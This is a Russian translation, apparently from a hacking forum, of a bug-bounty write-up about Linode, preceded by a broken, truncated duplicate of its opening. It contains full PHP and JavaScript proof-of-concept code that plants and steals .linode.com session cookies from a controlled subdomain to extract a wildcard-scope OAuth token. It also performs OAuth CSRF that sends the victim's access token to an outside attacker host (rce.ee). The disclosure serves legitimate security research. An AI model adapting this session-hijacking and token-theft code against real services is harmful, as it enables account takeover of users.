В середине 2018 года программа Linode на Hackerone привлекла меня к работе. В процессе работы, я обнаружил множество проблем, которые были раскрыты в частном порядке на Hackerone. Однако, парочку проблем были особенно интересны, поэтому я захотел сделать публичное заявление и раскрыть баг в паблике. Так что давайте не будем тратить время и приступим к работе
Эта ошибка потребует некоторого понимания OAuth, поэтому я надеюсь, что вы, ребята, знакомы с ней.
Linode - крупный VPS провайдер. Для клиентов они открывают функцию доступа к VPS <id>.members.linode.com. Просто уже смотря только на это, и уже знал, что мы можем здесь что-то найти. Это в основном означает, что мы полностью контролируем поддомен Linode.com, который позволяет выполнить server-side скрипты на поддомене Linode.
Аутентификация Linode
У Linode есть 4 веб-приложения для пользователей:
https://manager.linode.com Классический / Старый менеджер
https://linode.com/community Community portal
https://login.linode.com Сервер выдачи OAuth
https://cloud.linode.com Новый менеджер Linode
Поскольку мы полностью контролируем субдомен, мы могли читать любые
Давайте разберемся, как здесь работает аутентификация.
При нажатии на
Что делает следующее,
Токен параметра состояния сверяется с ранее установленным sessionid. Если проверка прошла успешно, мы получаем такой ответ.
Что делает следующее
Эксплуатация... OAuth + Cookies = ❤
Наша первая цель - получить токен доступа с wildcard (
Т.к. мы можем установить
PHP код для этого:
Код выше просто ифреймит setcookie.php, а затем через 6 секунд ифреймит stc.php (stealcookie.php)
Давайте разберемся, что такое setcookie.php
Теперь, когда все готово для кражи кукисов, поскольку Linode устанавливает сессию для
Давайте тоже автоматизируем все это с помощью stc.php (stealcookies.php ниже) (который ворует cookie и извлекает токен)
Мы просто берем sessionid из сессии и делаем curl запрос со стороны сервера, чтобы получить токен доступа, который можно использовать для вызова API, будь то чтение или запись в любой ресурс
.
Выглядит сложным?
Посмотрите видео.
Timeline по этому багу выглядел так:
Sep 30th, 2018: первый отчет
Oct 1st, 2018: приняли
Oct 3rd, 2018: выплатили баунти $2000
Oct 4th, 2018: пофиксили
Можем ли мы использовать это где-нибудь еще?
Давайте посмотрим, как CSRF работает с этими приложениями;
Все приложения CSRF выглядели безопасными, кроме https://login.linode.com
Давайте разберемся
В моем случае мой установленный cookie-файл сначала читался сервером и, следовательно, отбрасывал рабочий сеанс пользователя и просил пользователя снова войти в систему. Однако, даже если Linode проставляет
Несколько слайдов из выступления с HITCON 2019, в котором подробно описываются подобные атаки. Обязательно ознакомьтесь с этими слайдами, классные вещи!
Я ❤ OAuth, и эти куки делают его более классным xD
Linode является OAuth провайдером и вся авторизация выполняется на
Ниже приведен "хацкерский" PHP-код для использования OAuth CRSF.
exp.php
exp1.php
Выглядит сложным? Вот видео с демонстрацией PoC:
Хронология
13th Oct 2018: Первый репорт
15th Oct 2018: Репорт приняли
18th Oct 2018: Получил баунти $750 и бонус $1000 за креатив
14th Nov 2018: Пофиксили
Автор: https://twitter.com/rootxharsh
Перевод: tabac, специально для https://xss.pro
Linode - крупный VPS провайдер. Для клиентов они открывают функцию доступа к VPS <id>.members.linode.com. Просто уже смотря только на это, и уже знал, что мы можем здесь что-то найти. Это в основном означает, что мы полностью контролируем поддомен Linode.com, который позволяет выполнить server-side скрипты на поддомене Linode.
Аутентификация Linode
У Linode есть 4 веб-приложения для пользователей:
https://manager.linode.com Классический / Старый менеджер
https://linode.com/community Community portal
https://login.linode.com Сервер выдачи OAuth
https://cloud.linode.com Новый менеджер Linode
Поскольку мы полностью контролируем субдомен, мы могли читать любые
.linode.com cookie файлы, для которых установлено значение, я начал проверять https://manager.linode.com на наличие файла сессии/CSRF кукисов, но все файлы cookie были правильно установлены только manager.linode.com. Тогда я перешел в другое приложение, то есть, https://linode.com/community, которое делает много операций с OAuth через `login.linode.com`.Давайте разберемся, как здесь работает аутентификация.
При нажатии на
Login GET запрос отсылается на https://www.linode.com/community/questions/login?next=/community/ и получаем следующий ответ на запрос.
Код:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:36:51 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code
Set-Cookie: sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:36:51 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
.....
- Устанавливает cookie:
sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; который связан с токеном state=bce45f7c-6a37-46c7-9ede-c9979c152081. Файл cookie устанавливается на .linode.com.- Перенаправляет на страницу OAuth:
https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code- Если войти в систему на
https://login.linode.com/пользователь перенаправляется на
https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dcТокен параметра состояния сверяется с ранее установленным sessionid. Если проверка прошла успешно, мы получаем такой ответ.
Код:
HTTP/1.1 302 Found
Server: nginx
Date: Sat, 29 Sep 2018 23:04:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close
Vary: Cookie
Location: /community/
Set-Cookie: sessionid=qaff7xdtoxxhnc6tds7ym2d7d9lpweci; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:04:02 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
....
- sessionid получает сброс (снова на .linode.com), который является сессией для входа на портал.
Эксплуатация... OAuth + Cookies = ❤
Наша первая цель - получить токен доступа с wildcard (
*) с портала сообщества. Если мы хотим, чтобы пользователь входил на портал сообщества с * токеном, нам нужно обойти механизм CSRF. механизм входа ищет sessionid и проверяет его по указанному state токену.Т.к. мы можем установить
.linode.com куки, мы можем обойти это PHP код для этого:
Код:
<?php
echo "<iframe src='https://li859-243.members.linode.com/setcookie.php'></iframe>";
?>
<script>
setTimeout(function(){ document.write("<iframe src='https://li859-243.members.linode.com/stc.php'></iframe>"); }, 6000);
</script>
Давайте разберемся, что такое setcookie.php
PHP:
<?php
error_reporting(0);
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_HEADER => 1,
CURLOPT_URL => 'https://www.linode.com/community/questions/login?next=/community/'
));
$resp = curl_exec($curl);
$headers = [];
$data = explode("\n",$resp);
$headers['status'] = $data[0];
array_shift($data);
foreach($data as $part){
$middle=explode(": ",$part);
$headers[trim($middle[0])] = trim($middle[1]);
}
$pattern = '/events%3Amodify/';
$replacement = '*';
$p = preg_replace($pattern, $replacement, $headers['Location'], -1 );
$xf=explode("; ",$headers['Set-Cookie']);
foreach($xf as $part){
$middle=explode("=",$part);
$cookie[trim($middle[0])] = trim($middle[1]);
}
$epoch = shell_exec("date --date \"{$cookie['expires']}\" '+%s'");
setcookie("sessionid", $cookie['sessionid'], $epoch, "/", ".linode.com");
curl_close($curl);
header("Location: $p");
?>
- Отправляет запрос со стороны сервера на конечную точку входа в систему для получения действительных файлов cookie.
- Извлекает все заголовки из ответа
- Модифицирует заголовок
Location; хедер, состоящий изscopes=events%3amodifyмы меняем наscopes=* - Извлекает
Set-Cookieзаголовок - Устанавливает извлеченную сессию в сеанс пользователя и продолжает с перенаправлением в location заголовок, но с нашими измененными значениями
Теперь, когда все готово для кражи кукисов, поскольку Linode устанавливает сессию для
.linode.com, мы можем получить перехваченную сессию и войти в систему, и можем наконец извлечь токен
PHP:
<?php
$x = $_COOKIE['sessionid'];
echo "Session ID : <b>".$x."</b><br>";
$t = shell_exec("curl https://www.linode.com/community/ -H \"Cookie: sessionid=".$x."\"");
$p = '/notificationsToken.*\"/';
preg_match($p,$t,$token);
echo "Access token with `*` Scope : <b>".substr($token[0], 21)."</b>";
echo "\n\n";
?>
Выглядит сложным?
Посмотрите видео.
Timeline по этому багу выглядел так:
Sep 30th, 2018: первый отчет
Oct 1st, 2018: приняли
Oct 3rd, 2018: выплатили баунти $2000
Oct 4th, 2018: пофиксили
Можем ли мы использовать это где-нибудь еще?
Давайте посмотрим, как CSRF работает с этими приложениями;
Все приложения CSRF выглядели безопасными, кроме https://login.linode.com
Давайте разберемся
В моем случае мой установленный cookie-файл сначала читался сервером и, следовательно, отбрасывал рабочий сеанс пользователя и просил пользователя снова войти в систему. Однако, даже если Linode проставляет
Path=/ , мы можем добавить Path=/login, чтобы получить привилегии для нашего куки. Теперь любой путь в /login/* получит наш куки в качестве предпочтения. Несколько слайдов из выступления с HITCON 2019, в котором подробно описываются подобные атаки. Обязательно ознакомьтесь с этими слайдами, классные вещи!
Я ❤ OAuth, и эти куки делают его более классным xD
Linode является OAuth провайдером и вся авторизация выполняется на
login.linode.com (это сервер выдачи OAuth), как упоминалось ранее. Таким образом, идея состоит в том, чтобы заставить пользователя авторизовать наше клиентское приложение.Ниже приведен "хацкерский" PHP-код для использования OAuth CRSF.
exp.php
PHP:
<?php
// Make request to https://login.linode.com/login
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_HEADER => 1,
CURLOPT_URL => 'https://login.linode.com/login',
CURLOPT_HEADER => 1,
CURLOPT_RETURNTRANSFER => 1
));
$resp = curl_exec($curl);
//Extract Set-Cookie header value
$headers = [];
$data = explode("\n",$resp);
$f = explode("; ", $data[10]);
$session = substr($f[0], 20);
$exp = substr($f[1], 8);
//Set-Cookie
$epoch = shell_exec("date --date \"{$exp}\" '+%s'");
setcookie("session", $session, $epoch, "/", ".linode.com",true);
curl_close($curl);
//Decode cookies for CSRF-Token and pass it to exp1.php
$b64 = explode(".",$session);
$b64[0] .= "=";
$b = base64_decode($b64[0]);
$xb = explode(",",$b);
$x = substr($xb[2],0,-2);
$csrf = substr($x,14);
header("Location: exp1.php?csrf={$csrf}");
exp1.php
PHP:
<p><a href="#" id="target" name="x">Exploit</a></p>
<script>
(function() {
document.getElementById("target").onclick = function() {
x = window.open("https://login.linode.com/login");
setTimeout(function() {
x.close();
document.forms["exploit"].submit();
}, 13000);
return false;
};
})();
</script>
<form method="POST" action="https://login.linode.com/oauth/authorize?client_id=e8ffd152f9d9a85a423b&scope=*&response_type=token&redirect_uri=https://rce.ee/linode-exploit.html" name="exploit" id="exploit">
<input type="hidden" name="csrf_token" value="<?php echo $_GET['csrf']; ?>">
<input type="hidden" name="client_id" value="e8ffd152f9d9a85a423b">
<input type="hidden" name="scope" value="*">
<input type="hidden" name="redirect_uri" value="https://rce.ee/linode-exploit.html">
<input type="hidden" name="response_type" value="token">
</form>
- Сделайте запрос со стороны сервера и получите сеанс JWT.
- Расшифруйте его и извлеките токен CSRF.
- Установите сессионный cookie с полученным JWT.
- Сделайте POST-запрос для авторизации приложения OAuth атакующего с ранее декодированным токеном CSRF.
Выглядит сложным? Вот видео с демонстрацией PoC:
Хронология
13th Oct 2018: Первый репорт
15th Oct 2018: Репорт приняли
18th Oct 2018: Получил баунти $750 и бонус $1000 за креатив
14th Nov 2018: Пофиксили
Автор: https://twitter.com/rootxharsh
Перевод: tabac, специально для https://xss.pro